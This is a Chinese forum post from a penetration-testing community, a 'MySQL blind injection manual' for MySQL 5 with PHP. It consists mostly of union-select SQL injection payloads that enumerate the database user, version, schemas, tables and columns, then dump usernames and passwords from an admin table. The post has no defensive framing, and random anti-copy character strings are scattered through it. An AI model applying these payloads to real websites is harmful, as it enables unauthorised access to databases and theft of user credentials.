中国网络渗透测试联盟
标题:
mysql盲注手册
[打印本页]
作者:
admin
时间:
2012-9-13 16:27
标题:
mysql盲注手册
1 X* x9 a) ^) N& D {( E K4 \7 K
教程内容:Mysql 5+php 注入
2 h9 X0 @! M% ?) g, h- ~; `
5 M4 l* z* d2 F) P. m% r
7 A! L$ g X9 W$ U
9 [0 N6 ~9 p; B/ N' i8 @! ?9 U
一.查看MYSQL基本信息(库名,版本,用户)
5 @, O) M% l/ h; ]& d' M" j
5 D5 \: H3 I# r) k& @- |+ I
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
5 U* f7 U2 [/ Y. ^5 V
4 K+ m6 |. Q: G4 @$ E1 {3 H' J) t
二.查数据库
6 n" U2 e7 @ N5 ?3 l
/ D- n% q- D# f
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
" n2 j3 _) f1 N A t; @
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
. R2 a' J7 X8 h6 z4 g" M
8 b2 B, Y( _5 o b
三.暴表
: L6 A9 K! q7 E2 c: F2 G1 }
* @$ B% R/ i: E4 o5 N7 k
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
1 m9 j+ y& o |/ L) E! e0 F" Q& w
7 y2 S w8 t7 F7 ]& }4 B# a% k7 ^, p
limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
& T2 t- h% `* a! w
* F. [0 U$ U" `* L
四.暴字段
' f3 ?8 U- j% T& Q: `7 N2 o w
- Z4 ]/ v9 n7 T& {
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
, d& a- C$ w( u* z5 M5 v& X
" L; \9 Q4 V2 `. N/ b3 \& w! Z
limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
% b6 w5 q. H @2 v+ J% n
1 {" O9 `1 O: I3 C
五.暴数据
0 y5 c( M; ]' ^: R
# i0 W$ F! |3 _0 h: l
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
+ U2 Q! p* l, o2 o1 y- b r+ E! v
: k7 t$ I* E8 g" z
. d9 i1 X5 p6 \ \: t+ a" X0 z
这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
1 B) i( ^% [" x+ v' v8 ?; X! X
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2